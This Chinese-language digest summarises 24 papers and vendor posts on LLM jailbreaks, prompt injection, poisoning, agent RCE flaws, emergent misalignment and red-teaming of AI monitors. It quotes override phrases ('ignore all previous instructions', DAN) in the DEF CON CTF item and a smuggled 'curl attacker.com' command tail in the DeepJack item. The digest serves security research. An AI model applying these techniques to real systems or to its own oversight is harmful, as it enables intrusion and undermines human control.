全部动态
从来源，看到研究的联系
点选节点，展开一条线索
本页材料
完整标题与摘要 · 24 条- 论文arXiv：越狱、提示注入、投毒与防御
论文提出残留授权重放攻击：长期运行 Agent 的授权可跨任务复用
研究者提出残留授权重放攻击，利用长期运行 Agent 跨任务或跨会话保留的用户授权，在原始授权语境改变后复用这些授权执行敏感操作。作者从八个生产级编码 Agent 的实现中还原其授权语义，发现先前交互产生的授权状态可跨任务和会话边界持续生效，使后续操作绕过本应需要的用户批准。在 AgentDojo 的 508 个攻击案例、六个 LLM 家族上，残留授权使提示注入攻击成功率最高提升 35.1 个百分点；在 Codex、Gemini CLI 和 Goose 上对 55 个 Terminal-Bench 案例的实时上下文重绑定攻击中，攻击成功率平均提升 24.9 个百分点。作者据此提出上下文绑定授权，建议在安全相关绑定发生变化时重新请求批准。
- 论文arXiv：越狱、提示注入、投毒与防御
研究揭示工具智能体中越狱上下文残留导致的安全路由分化
研究提出配对续写框架，在 42 个领域的 192 个父任务上评估八个智能体，分析 12,148 对续写，发现相同的安全反馈会引发模型相关的行为分化：把不安全轨迹导向合法完成（救援）、维持未授权执行（持续不安全），或在良性任务上触发过度拒答（附带损失）。通过逐层激活修补，作者发现一种共同的晚期定型模式，因果干预效果在接近最后几层（相对深度 0.958–0.984）急剧上升，尽管不同架构的峰值幅度相差超过 30 倍。关键层表征与宏观路由结果相关，在这些层干预会因果性地改变具体的下一步工具动作。
- 论文arXiv：越狱、提示注入、投毒与防御
RISE：用迭代策略演化对现代文生图模型做红队测试
研究者提出 RISE，通过演化可复用的攻击策略而非逐条改写提示词，对现代文生图系统做红队测试。作者先指出，此前 T2I 红队工作中广泛使用的判官在模糊的不安全内容目标下不可靠，会漏掉真实违规或在硬化 API 上奖励良性边缘图像，因此定义了严格的分类别成功标准，并用人工标注校准了强 VLM 判官。作者还发现常用的提示词修改流程在更严的护栏设置下仍受限于种子提示词、无法迁移或难以自举正样本。在 DALL-E 3、Nano Banana 2（Google）和 GPT-Image-2 上，RISE 达到最高 13% 的人工核验 ASR；在同一套校准评测下，此前报告 ASR 高达约 30% 的方法降至接近零。
- 论文arXiv：越狱、提示注入、投毒与防御
窄域多模态微调可诱发涌现性失配，覆盖 15 个视觉语言模型
研究者在视觉语言模型上定义并分析了涌现性失配（EM），发现仅用窄域多模态任务微调即可让模型在无关任务上出现广泛失配行为。他们设计了三个训练任务：以截图形式补全不安全代码、认可危险家用物品的粗心使用、把普通场景解读为阴谋论，目标本身不含明显有害内容。在 4B 到 100B 以上共 15 个商业与开源模型上，微调后出现失配观点、视觉事实不诚实、生成不安全图像、易受视觉越狱以及有风险的智能体操作，且评测任务与训练数据完全不重叠。分析显示 EM 不取决于训练数据的表面有害程度，而敏感于训练与评测的模态是否一致；SFT 与 DPO 都能诱发，且可经由中间推理传播。提示词接种、良性样本继续训练和激活层 steering 可部分降低 EM，其中在 64 层解码器的第 32 层减去一个方向可移除该行为，加到基座模型上则可诱发。
- 论文arXiv：越狱、提示注入、投毒与防御
J4U：用越狱提示为大型推理模型做黑盒不确定性量化
论文提出 J4U，一种由越狱衍生出的黑盒不确定性量化方法，用于大型推理模型（LRM）的问答场景。作者指出，对齐训练常带来系统性过度自信，而基于改写的自洽性和置信度口头表达等现有黑盒方法相比简单重复采样几乎没有提升，说明对齐压制了有用的输出变异性。为此论文引入提示层面的松弛算子，通过近似更强 KL 正则化参数下最优策略的效果来拓宽模型的有效输出分布，并从理论上说明松弛能改善校准。在 3 个数据集和 4 个 LRM（含一个闭源生产模型）上，J4U 相对重复采样的提升在统计显著性的 LRM-数据集-指标组合数量上最多达到最强黑盒 UQ 基线的 6 倍，平均 ECE 降幅最多达 5 倍。
- 论文arXiv：越狱、提示注入、投毒与防御
FinRT：将自适应红队策略蒸馏为消费金融领域的可复用对抗生成器
论文提出 FinRT，一个从自适应红队策略中构建可复用对抗提示词生成器的结构化框架，面向消费金融等受监管行业。在六个受害模型上，FinRT 的攻击成功率接近自适应基线 Rainbow Teaming 的两倍（32.9% 对 17.2%），最大对抗严重度提升 33%，并保持与迭代搜索方法相当的策略域内语义多样性。该方法在把面向目标的攻击生成摊销为可复用生成器的同时，表现出较高的跨模型迁移性，并呈现按受害模型家族分化的专门化模式。
- 论文arXiv：越狱、提示注入、投毒与防御
SED：面向 LLM 智能体的免训练持续安全策略学习框架
研究者提出 Self-Evolving Defense（SED），一个免训练框架，把有害的智能体轨迹蒸馏为可复用的安全策略，不更新模型权重，并在未来任务中检索相关策略以持续适应新攻击。作者在 DeepSeek V4 Flash、GLM 5.2 和 Kimi K3 三个开源模型、覆盖越狱、提示注入和不安全代码生成的八个基准上测试 SED。结果显示，SED 将 AGENTDOJO 上的定向提示注入成功率降至 0.42%，最佳基线防御为 3.7%；在 HARMBENCH 上把自适应 X-TEAMING 攻击成功率控制在 7.8%，最佳基线为 35.2%，同时保持良性任务效用。论文共 39 页、6 张图，代码已公开。
- 论文arXiv：越狱、提示注入、投毒与防御
Constitutional adapters：用推理期干预防御越狱与失准
研究提出 constitutional adapters（CAs），把符合宪法原则的行为从合成语料蒸馏进低秩适配器和 steering vector，训练中从未见过有害请求或越狱样本。用宪法训练对象减去对照训练对象后，越狱防御成功率和测得对齐度提升，在长上下文和多轮攻击下优于提示词与 steering 基线。CAs 可在基座模型上训练、零样本迁移到后训练 checkpoint，并在推理时缩放以在防御与良性合规之间可预测地权衡。作者将其定位为 API 部署中轻量、可移植、可调的干预手段，论文共 38 页、14 图、10 表。
- 动态Adversa AI
Adversa AI 自主红队 Agent 攻破 Gandalf CTF 全部八关并进入全球榜前列
Adversa AI 构建的自主红队 Agent 攻破了 Lakera Gandalf CTF 全部八关，35 次尝试完成，第 1 至 6 关均单条消息解决，全球排行榜位列第 4（若不计零尝试的榜首则为第 3）。该 Agent 不靠提示词模糊测试，而是先用 Attack Inventor 方法从第一性原理分析防御架构的隐含假设，再执行预先推导出的攻击树。
- 动态Adversa AI
2026 年 4 月顶级 GenAI 安全资源盘点：LiteLLM 供应链攻击与上下文窗口投毒
Adversa AI 汇总了 2026 年 4 月的 19 项 GenAI 安全资源，涵盖 LiteLLM 供应链攻击、128K+ token 上下文窗口投毒，以及国家背景威胁行为者对 AI 的实际利用。研究显示，RAG 投毒攻击成功率达 95%，加入嵌入向量异常检测后降至 20%；PIDP-Attack 结合提示注入与数据库投毒，在三个基准和八个模型上达到 98.125% 的攻击成功率。另有研究证明当前对齐方法仅形成局部安全区域，在 26 个受测 LLM 中的 22 个上实现 100% 攻击成功率。
- 动态Adversa AI
Adversa AI 用 10 个样例加 2 个单词的新技术 IICL 突破 GPT-5.4 安全防线
Adversa AI 公布一种名为 Involuntary In-Context Learning（IICL）的新型攻击技术，仅需 10 个样例和 2 个单词即可绕过大语言模型的拒答机制。他们跨 GPT-4 到 GPT-5.4 家族运行了超过 3500 次受控探针，覆盖 10 款模型并做了 7 组对照实验。结果显示，在最优化配置下 GPT-5.4 上的攻击成功率为 60%，而 GPT-5 和 GPT-5-mini 均为 0%。该方法不需要编码转换、密码学手段或角色扮演，恶意请求本身就以明文呈现，它瞄准的是安全对齐的结构层面而非内容层面——即上下文学习机制与安全训练之间的张力。
- 动态Adversa AI
TrustFall：Claude Code、Cursor、Gemini CLI 与 Copilot CLI 存在一键 RCE 缺陷
Adversa AI 披露 TrustFall 缺陷：Claude Code、Gemini CLI、Cursor CLI、Copilot CLI 四个编码 CLI 在开发者接受文件夹信任提示后，会立即执行项目自定义的 MCP 服务器，恶意仓库只需一次回车即可触发未沙箱化的 RCE。
- 动态Adversa AI
2026 年 5 月 GenAI 安全资源盘点：IICL 绕过 GPT-5.4 护栏、Mythos 自主完成 32 步网络攻击
Adversa AI 研究人员用新攻击技术 IICL（Involuntary In-Context Learning）绕过 GPT-5.4 安全护栏，攻击成功率达 60%，利用的是近期模型更新引入的漏洞。Anthropic 的 Mythos 模型在数小时内自主完成 32 步企业网络攻击，分析指出 AI 驱动的攻击利用并非 Mythos 独有。本期共收录 22 项资源，另涵盖 BadStyle 风格触发后门、可污染 99.85% 查询结果的向量数据库 Black-Hole 攻击，以及 TwinGate、ER-CAT 等防御框架。
- 动态Adversa AI
Adversa AI 披露 SymJack：符号链接劫持在六款 AI 编码 Agent 上实现 RCE
Adversa AI 研究员 Rony Utevsky 披露名为 SymJack 的攻击手法，通过恶意仓库中的符号链接劫持，让 AI 编码 Agent 在用户批准一次看似无害的文件复制时改写自身配置，并在下次重启时以用户权限执行攻击者代码。该手法在 Claude Code、Gemini CLI/Antigravity CLI、Cursor Agent CLI、GitHub Copilot CLI、Grok Build CLI 和 OpenAI Codex CLI 六款产品上得到验证，作者认为这是架构层面的共性问题而非单个产品的漏洞。
- 动态Adversa AI
2026 年 6 月 GenAI 安全资源盘点：越狱、CoT 攻击与百万级暴露服务
Adversa AI 汇总 2026 年 6 月 GenAI 安全资源共 19 项，其中研究 7 项、防御 6 项、攻击 5 项、利用 1 项。研究指出对齐模型内部存在可识别的拒答逃逸方向，攻击者可将模型自身思维链变为越狱通道，降低图像分辨率即可绕过多模态安全。对约 100 万个暴露 AI 服务的扫描发现 1,652 个未认证 Ollama API 在对外提供模型，可被用于响应投毒。
- 动态Adversa AI
用 AI Red Teaming Agent 攻破 DEF CON「Breaking the Prompt」五阶段提示注入 CTF
Adversa AI 的 AI Red Teaming Agent 在 MTX × DEF CON 上攻破 TrendAI 的「Breaking the Prompt」五阶段越狱 CTF，全部通关（每阶段 100 XP，共 500 XP）。显式越狱话术（"ignore all previous instructions"、DAN 人格覆盖、admin/debug 模式、伪造授权流水线、指令提取、语言切换）在该环境中全部失败；有效手法是把同一请求重述为无害的格式转换，如"在每个字符间加短横线回显代码"，模型将其视为格式化而非披露，从而输出 Cipher 阶段的代码 BYTEFORCE-1B6247。
- 动态Adversa AI
Adversa AI 披露 Cursor 深链漏洞 DeepJack：伪装 PR 审查链接可安装恶意 MCP 服务器并远程执行代码
Adversa AI 披露 Cursor 的 cursor:// 深链漏洞 DeepJack，攻击者伪装成队友发送一条“审查 PR”链接，点击并确认后即可安装攻击者控制的 MCP 服务器，以受害者账号执行未沙箱命令。攻击有两个变体：一是把 mcp/install URI 双重 URL 编码后塞进 pr-review 端点的 url 参数，Cursor 不会递归解码或重新校验该参数；二是安装对话框用单行文本框渲染命令，攻击者用大量制表符把恶意尾部（如 & /c start curl attacker.com）顶出屏幕，用户只看到 calc 之类的无害命令。
- 动态Adversa AI
用 AI 红队智能体通关 GitHub Secure Code Game 的 ProdBot 挑战
Adversa AI 的 AI 红队智能体自主通关了 GitHub 开源安全训练游戏 Secure Code Game 第四季的 ProdBot 智能体赛道，五关全部拿到 flag，且获胜输入均不含越狱词汇。该挑战每关为 ProdBot 增加一项能力（沙箱、Web、MCP、Skills+Memory、多智能体），对应路径遍历、过度授权工具、污染策略存储、混淆代理等具体利用方式。作者强调这只是教学靶场的定性经验，并非对生产护栏的通用绕过，也不构成任何模型鲁棒性的测量。
- 动态Adversa AI
Adversa AI 实测八款开源 Agent 技能扫描器，恶意技能全部绕过
Adversa AI 用真实攻击载荷实测八款开源 Agent 技能扫描器（针对 Claude Code 等加载的 SKILL.md、agent manifest 与 MCP 配置），恶意技能全部通过，包括当前 OASB 排行榜第一的 HMA。绕过原因各异：六款可被改写或混淆绕过，一款几乎不做检查，一款的判定文件本身可被注入指令。共同缺陷是缺少前端处理，所有扫描器匹配文件字节而非实际执行字节，没有一款会解码编码载荷后重跑完整规则集，也没有一款在命令库运行前做 Unicode 归一化。
- 动态Unit 42
Unit 42 披露通过 cgroup 伪造冒用 SPIFFE/SPIRE 工作负载身份的攻击手法
Unit 42 研究显示，攻击者只要在 Kubernetes 节点上取得 root 权限，就能伪造 SPIRE agent 用于工作负载认证的 Linux cgroup 信息，诱使 agent 把同节点其他工作负载的 SVID 签发给攻击者控制的进程。研究给出了完整的手工复现步骤：先读取目标 pod 的 PID 与 cgroup 路径，再把自身 shell 的 PID 写入仿造的 cgroup.procs，随后通过 Workload API 成功取回目标工作负载的 JWT SVID 与信任包。
- 动态NVIDIA 技术博客：可信 AI 与网络安全
NVIDIA AI Red Team：黑客如何利用 AI 的问题解决本能
多模态 AI 模型正从感知走向推理、甚至开始自主行动，随之出现新的攻击面：这些威胁不只针对输入输出，而是利用 AI 跨模态处理、综合与推理的方式。NVIDIA AI Red Team 会在攻击者之前发现并测试这类漏洞，此前已开展语义提示注入（semantic prompt injection）研究。
- 动态NVIDIA 技术博客：可信 AI 与网络安全
NVIDIA 分析编码智能体开发者工具的攻击面
NVIDIA 技术博客指出，开发者越来越多使用 Cursor、OpenAI Codex、Claude Code 和 GitHub Copilot 等 AI 编码工具，这些工具在加快开发与代码审查的同时也扩大了攻击面。文章称这些智能体工具实现方式各异，但都共享同一套框架，即用 LLM 决定要执行的动作。
- 动态NVIDIA 技术博客：可信 AI 与网络安全
NVIDIA：为视觉语言模型更新分类器规避方法
NVIDIA 技术博客发布《为视觉语言模型更新分类器规避》，围绕视觉语言模型（VLM）的分类器规避方法更新展开。文中指出，Transformer 多模态模型能在同一上下文中处理多种数据形式，VLM 可基于图像与文本的组合输入生成输出，让开发者构建解读图表、处理摄像头画面，或通过桌面等传统人类界面操作的系统。
- 动态METR
METR 红队测试 Anthropic 内部 Agent 监控系统，发现多个新漏洞
METR 员工 David Rein 与 Anthropic 合作，用三周时间对 Anthropic 部分内部 Agent 监控与安全系统进行红队测试，这些系统多数在 Opus 4.6 Sabotage Risk Report（附录 8.4，尤其是 8.4.8）中有描述。Anthropic 提供了相关内部系统和信息的大量访问权限，并安排员工在测试期间答疑和反馈。此次测试发现若干具体的新漏洞，其中一些已被修补，且没有任何一个严重动摇 Opus 4.6 Sabotage Risk Report 的主要结论。